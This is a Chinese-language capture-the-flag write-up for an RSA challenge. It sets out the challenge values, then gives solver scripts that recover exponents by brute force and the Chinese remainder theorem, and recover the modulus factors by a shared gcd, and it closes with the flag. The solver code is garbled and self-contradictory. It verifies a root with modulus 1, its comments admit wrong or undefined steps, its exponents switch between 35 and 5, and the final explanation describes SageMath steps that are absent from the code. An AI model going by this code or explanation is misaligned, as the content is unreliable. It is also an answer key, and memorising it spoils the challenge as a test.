# ns = [15863230586500684911356384742123404120213699052018048588650392009927565369685497256344682150189923131009586323640507773706997704860898682946308031020361302334248895233255911348365179153799197341744863134926804603973507415697810440916305092395180382239729550833607847524005391137474497849077097574452115379368463540087172800902210822143687014813631366360652583216269138116785489485772437870528892032119729929607857459621078790511144060710035933887337208301078892163837203412081114510143406013892393607932596921308889058909544584619676380766485493114814753878272881866907210235681877689493671668534251778397658670518117, 14144098469438619358682652828507744381697293556670717685553585719665002440476256008471235313826051740009083510860714991201047915737216102220242621674841600987122005914542061963618272275986835928673920375768272390912778741502655909281390948606467847118377641357547931472588836726339758576038273820470879637555458446243401248151675266602656677360819563744765522495640821496694918515669243614141704744848980746101569785439728585144841655665959389460512628800782742764147773150430552859331269667626942993392101897661719871375721143240270211821269260950380944670195863016621594387236339317938305273510719419578308449465183, 27563822879593503938377821960427219022565215631856333510782568496016547757945464794632272818101891677705256471714805217606503652132995136255720639088424576003650628211271025648183600635145895528466199068640094470078526413324708028578289949241288828542143203769199399500669311878391255837977932634772778594526940501234736059441483897017015324765266787399950699732518347518591167932031031320265136158304460199654008895095274754918153773566824931440342525688741289235153882699461549523425169846266597156773535163599640189457171272058311480951820887261040891344076039474315985825984444520336790670313179493074014037981261]
30
# cs = [3833095607830862948079097323254872789586576953317671099752083261949616608759231291050566542764984974722790226120399722937104503590740358249900089784508490830379531632752169777949200718567033018577184658177019404903817920024468923715441355404672443007723525750768430895425376124679225715687382380114628103058312176343693900115638265002657622618744666247132114654135429040069316368839938881716554901593031901272992940200484460436193699175500376368456706998564064693820008778900344357745691652875500810447147088715289581351501876012044611990972521570253106671158207677490849249612002954497927762168699886110455354481924, 1502420121177211156091634258259634977709023894278792755694473756163084431123774101512866316989917922052023168401167212284219907272528117024670443698990238243030221117004372456475521502350404137469088570170885409265567084376069256924135270283335242133163303599239181417949980292944203204296598188175632723968779672994090788585343302473442389865459398142634104331743517384589200789331489394375604801951994831647339839112698394141328178967516636452592385248135340133712522135715943787590172334743893259621909532456281362868290556461907936774231166936915669816509378419892149164552548131776979706381641477878931403040942, 8992204063713908492214256291861339175525948946919629972908439132005643626148678347198381531633907182877152728077958345519083406637446972079387161726967295886447791613166577391233866583354793842121902234644830640050181130381996083089350911224037154798259291124104894554037604500881250119806371348673833105103600782286898276354573884788251542211434143476774391457587885772379990104835187104619922442613860682792470389490804228050671124495925536024571104944112397143299499508504917890140939438891891453283594000764399193028606955089853654071198909973555844004685149713774167524224100487937899126480545681565581673958854]
31
 
32
qq = getPrime(1024)
33
nn = P * qq
34
qqq = qq >> 460 << 460
35
print(f'nn = {nn}')
36
print(f'qqq = {qqq}')
37
# nn = 16851735797771199659625936797279158526379741298692339786049494329385618191510929735113284926125682522862667382938603116481087115598324232020838136618518964343752653000145611092980612556947954728339508416646035295651852840099205127587606898235203114875942637900167644300657599966420459187131027117268004042708998239798434578246497419547543598779697909298102358128788120332794123690714647499091326245022977970510468925837363300545900657420134894815246189043375619879915523611890538142257042753868665844692029124229028056547096764320547579965641276151760507921199827910445919017775913411823263307923216323527883262438117
38
# qqq = 121042531930820997492656296084544616958724191434895945419858099204426898711413526806300854553993738803031497438495403291406481997877273916883918253302909196533823945327277312672931819555344139777992801106437643790498379469530787985051569590331291422592393540391481519004782904598710037907420679190942964514816
39
 
40
assert len(FLAG) == 42
41
n1 = P * Q1
42
n2 = P * Q2
43
c1 = pow(bytes_to_long(FLAG), E1, n1)
44
c2 = pow(bytes_to_long(FLAG), E2, n2)
45
print(f'n1 = {n1}')
46
print(f'n2 = {n2}')
47
print(f'c1 = {c1}')
48
print(f'c2 = {c2}')
49
# n1 = 21655617838358037895534605162358784326495251462447218485102155997156394132443891540203860915433559917314267455046844360743623050975083617915806922096697304603878134295964650430393375225792781804726292460923708890722827436552209016368047420993613497196059326374616217655625810171080545267058266278112647715784756433895809757917070401895613168910166812566545593405362953487807840539425383123369842741821260523005208479361484891762714749721683834754601596796707669718084343845276793153649005628590896279281956588607062999398889314240295073524688108299345609307659091936270255367762936542565961639163236594456862919813549
50
# n2 = 24623016338698579967431781680200075706241014384066250660360949684385831604822817314457973559632215801205780786144608311361063622813017396858888436529116737754653067203843306015767091585697803364656624926853551997229897087731298797904208292585562517602132663331748784390752958757661484560335406769204491939879324079089140420467301773366050084810282369044622442784113688062220370531522036512803461607049619641336524486507388232280683726065679295742456158606213294533956580462863488082028563360006966912264908424680686577344549034033470952036766850596897062924137344079889301948258438680545785139118107899367307031396309
51
# c1 = 2615722342860373905833491925692465899705229373785773622118746270300793647098821993550686581418882518204094299812033719020077509270290007615866572202192731169538843513634106977827187688709725198643481375562114294032637211892276591506759075653224150064709644522873824736707734614347484224826380423111005274801291329132431269949575630918992520949095837680436317128676927389692790957195674310219740918585437793016218702207192925330821165126647260859644876583452851011163136097317885847756944279214149072452930036614703451352331567857453770020626414948005358547089607480508274005888648569717750523094342973767148059329557
52
# c2 = 6769301750070285366235237940904276375318319174100507184855293529277737253672792851212185236735819718282816927603167670154115730023644681563602020732801002035524276894497009910595468459369997765552682404281557968383413458466181053253824257764740656801662020120125474240770889092605770532420770257017137747744565202144183642972714927894809373657977142884508230107940618969817885214454558667008383628769508472963039551067432579488899853537410634175220583489733111861415444811663313479382343954977022383996370428051605169520337142916079300674356082855978456798812661535740008277913769809112114364617214398154457094899399

以下脚本仅供参考理解并没有代入实际值

参考原题解析

https://blog.csdn.net/luochen2436/article/details/128012748

求解E1

由q = next_prime(getPrime(16) * p + 38219)可知,q为p*getPrime(16)+38219的下一个素数,因此getPrime(16)较小,所以我们可以在其取值范围为遍历出符合题目的值,从而解出q。

33
 
1
from sympy import isprime, nextprime, isqrt, mod_inverse  
2
  
3
# 假设 n, e, c 已经被定义  
4
n = ...  # RSA 模数  
5
e = ...  # RSA 公钥指数  
6
c = ...  # RSA 密文  
7
  
8
for i in range(2 ** 15, 2 ** 16):  
9
    if isprime(i):  
10
        # 尝试找到一个可能的 q  
11
        # 注意:这里我们假设 iroot 返回一个元组,其中第一个元素是整数部分  
12
        # 如果 n // i 不是一个完全平方,这将导致问题  
13
        sqrt_n_div_i = isqrt(n // i)  
14
        if sqrt_n_div_i ** 2 == n // i:  # 确保是完全平方  
15
            candidate_q = i * sqrt_n_div_i + 38219  
16
            if isprime(candidate_q) and n % candidate_q == 0:  
17
                q = candidate_q  
18
                p = n // q  
19
                phi = (p - 1) * (q - 1)  
20
                d = mod_inverse(e, phi)  # 使用 mod_inverse 而不是 invert(假设这是自定义的)  
21
                E1 = pow(c, d, n)  
22
                print(f"Found q: {q}, p: {p}, phi: {phi}, d: {d}")  
23
                # 将 E1 转换为字节串(如果可能)  
24
                try:  
25
                    print(f"Decrypted message: {long_to_bytes(E1)}")  
26
                except OverflowError:  
27
                    print("Decrypted message is too large to convert directly to bytes.")  
28
                break  
29
        # 如果不是完全平方或不是质数,则继续循环  
30
  
31
# 如果循环结束仍未找到 q,则打印错误消息  
32
else:  
33
    print("Failed to find a valid factorization of n.")
求解E2: 中国剩余定理 

简单处理一下,之后开e次方即可。

27
 
1
from sympy.ntheory.modular import crt  
2
import gmpy2  
3
  
4
# 假设这些值已经正确设置  
5
ns = [...]  # 您的模数列表  
6
cs = [...]  # 对应的余数列表  
7
  
8
# 使用中国剩余定理找到 m  
9
m = crt(ns, cs)[0]  
10
  
11
# 尝试找到 m 的 89 次根  
12
root, remainder = gmpy2.iroot(m, 89)  
13
  
14
# 检查余数是否为 0(如果是,root 就是 m 的 89 次根)  
15
if remainder == 0:  
16
    print(f"m 的 89 次根是: {root}")  
17
else:  
18
    print("m 不是 89 次幂的整数")  
19
  
20
# 可选:验证根  
21
if remainder == 0:  
22
    # 计算 root 的 89 次幂并检查是否等于 m  
23
    verification = pow(root, 89, gmpy2.mpz(1))  # 使用 gmpy2.mpz 以防 root 太大  
24
    if verification == m:  
25
        print("验证成功:计算得到的 89 次幂等于 m")  
26
    else:  
27
        print("验证失败:计算得到的 89 次幂不等于 m")

求P以及flag


第三部分代码本来是出题者想出p高位然后去求P的,但是在第四段代码中出了纰漏,n1 = P * Q1和n2 = P * Q2这两个n有共同的因子P,所以可以直接求他们的最大公约数得到P,即P=gmpy2.gcd(n1,n2),则分别可以求出Q1=n1//P和Q2=n2//P。


本题难点:计算E1和phi1,E2和phi2发现都等于35,不能够直接求私钥d了,而且求出来的m直接开35次方也得不到flag。


完整解题代码

56
 
1
# 导入必要的库  
2
import gmpy2  
3
from Crypto.Util.number import CRT_list, long_to_bytes  
4
  
5
# 定义两个RSA公钥的模数  
6
n1 = ...  # 第一个RSA公钥的模数  
7
n2 = ...  # 第二个RSA公钥的模数  
8
  
9
# 定义两个RSA公钥的密文和公共指数  
10
c1 = ...  # 第一个RSA公钥加密的密文  
11
c2 = ...  # 第二个RSA公钥加密的密文  
12
E1 = ...  # 第一个RSA公钥的公共指数  
13
E2 = ...  # 第二个RSA公钥的公共指数  
14
  
15
# 计算两个公钥模数的最大公约数,假设存在公共的质数因子P  
16
P = gmpy2.gcd(n1, n2)  
17
  
18
# 计算剩余的质数因子Q2和Q1  
19
Q2 = n2 // P  
20
Q1 = n1 // P  
21
  
22
# 使用中国剩余定理的变种来解密(但这里首先需要调整指数以正确应用CRT)  
23
# 注意:这里假设了E1和E2都可以被35整除,这在现实情况中是不常见的  
24
c = [  
25
    pow(c1, gmpy2.invert(E1 // 35, (P - 1) * (Q1 - 1)), n1),  # 对c1使用调整后的指数进行解密,模n1  
26
    pow(c2, gmpy2.invert(E2 // 35, (P - 1) * (Q2 - 1)), n2)  # 对c2使用调整后的指数进行解密,模n2  
27
]  
28
  
29
# 使用CRT组合解密后的结果  
30
# 注意:这里假设了存在solve_crt函数,实际上可以使用Crypto.Util.number.CRT_list  
31
c3 = c[0] * c[1] % P  # 这一步可能不是必要的,取决于solve_crt的实现  
32
c_combined = CRT_list([c[0] % Q1, c[1] % Q2, c[0] * c[1] % P], [Q1, Q2, P])  # 更标准的CRT使用方式  
33
  
34
# 计算phi和n(实际上n = P * Q2或P * Q1,因为P是公共因子)  
35
phi = (Q1 - 1) * (Q2 - 1)  
36
n = P * Q2  # 或 P * Q1,这里选择Q2作为例子  
37
  
38
# 注意:这里的d计算可能不正确,因为它直接对7取模逆,这在RSA中是不常见的  
39
# 正确的d应该是对phi取模逆的e的逆元,但这里我们假设d已经以某种方式获得  
40
# d = gmpy2.invert(7, phi)  # 这行可能是错误的,仅用于示例  
41
  
42
# 假设我们已经有了一个有效的c_m(这里用c_combined代替)和d  
43
# 注意:实际上,由于上面的d计算可能是错误的,下面的解密也可能不会成功  
44
# c_m = result % n  # 这里应该是c_combined,因为result未定义  
45
c_m = c_combined  
46
# 假设d是正确的,进行解密  
47
# m = pow(c_m, d, n)  # 这行在d正确时是解密操作  
48
  
49
# 但由于上面的d计算可能是错误的,我们直接跳到最后的假设部分  
50
# 假设m的5次方根是flag(这在RSA解密中是不常见的,可能是特定题目的要求)  
51
# 注意:这里使用gmpy2.iroot来找到m的5次方根  
52
flag = gmpy2.iroot(c_combined, 5)[0]  # 注意这里使用了c_combined而不是m  
53
  
54
# 将flag转换为字节串并打印  
55
print(long_to_bytes(flag))  
56
  

这段代码是一个典型的RSA密码破解示例,其中利用了RSA加密系统的某些弱点(如公共指数与欧拉函数φ(n)不互质)来恢复明文。此外,它还使用了中国剩余定理(CRT)来组合在两个不同模数下的解。下面是对代码的逐步解析和解释:


导入必要的库:代码首先导入了gmpy2库用于大数运算,以及Crypto.Util.number中的CRT_list函数用于应用中国剩余定理。


定义n1, n2, c1, c2, E1, E2:这些变量分别代表两个RSA公钥的模数、密文以及公共指数。


计算p和q:由于n1和n2有共同因子p,所以通过计算gmpy2.gcd(n1, n2)找到p,然后用n1//p得到q。这里假设n1和n2都是p和某个不同q的乘积,这在现实中很少见,但在这个例子中是有效的。


计算欧拉函数φ(n):欧拉函数φ(n) = (p-1)*(q-1),用于后续计算私钥d。


找到E1和φ(n)的最大公约数t,并计算私钥d:由于E1和φ(n)不互质,这允许我们找到一个非1的t,并用它来计算私钥d。这里使用了gmpy2.invert(E1//t, phi)来计算d,这是基于扩展欧几里得算法求逆元。


解密c1得到m:使用私钥d和模数n1来解密c1,得到中间值m。


构造多项式并求解:由于m是模p和模q下的解,我们构造多项式x^t - m,并在模p和模q的域内求解这个多项式。这里使用了SageMath的Zmod和roots函数来找到解。


应用中国剩余定理:对于模p和模q下的解,我们使用CRT_list函数结合中国剩余定理来找到原始的m值(在这个场景下是flag的字节表示)。


验证并打印flag:遍历所有可能的组合,应用中国剩余定理后检查得到的字节串是否包含"flag"字符串。如果是,则打印出flag。


flag{27dab675-9e9b-4c1f-99ab-dd9fe49c190a}





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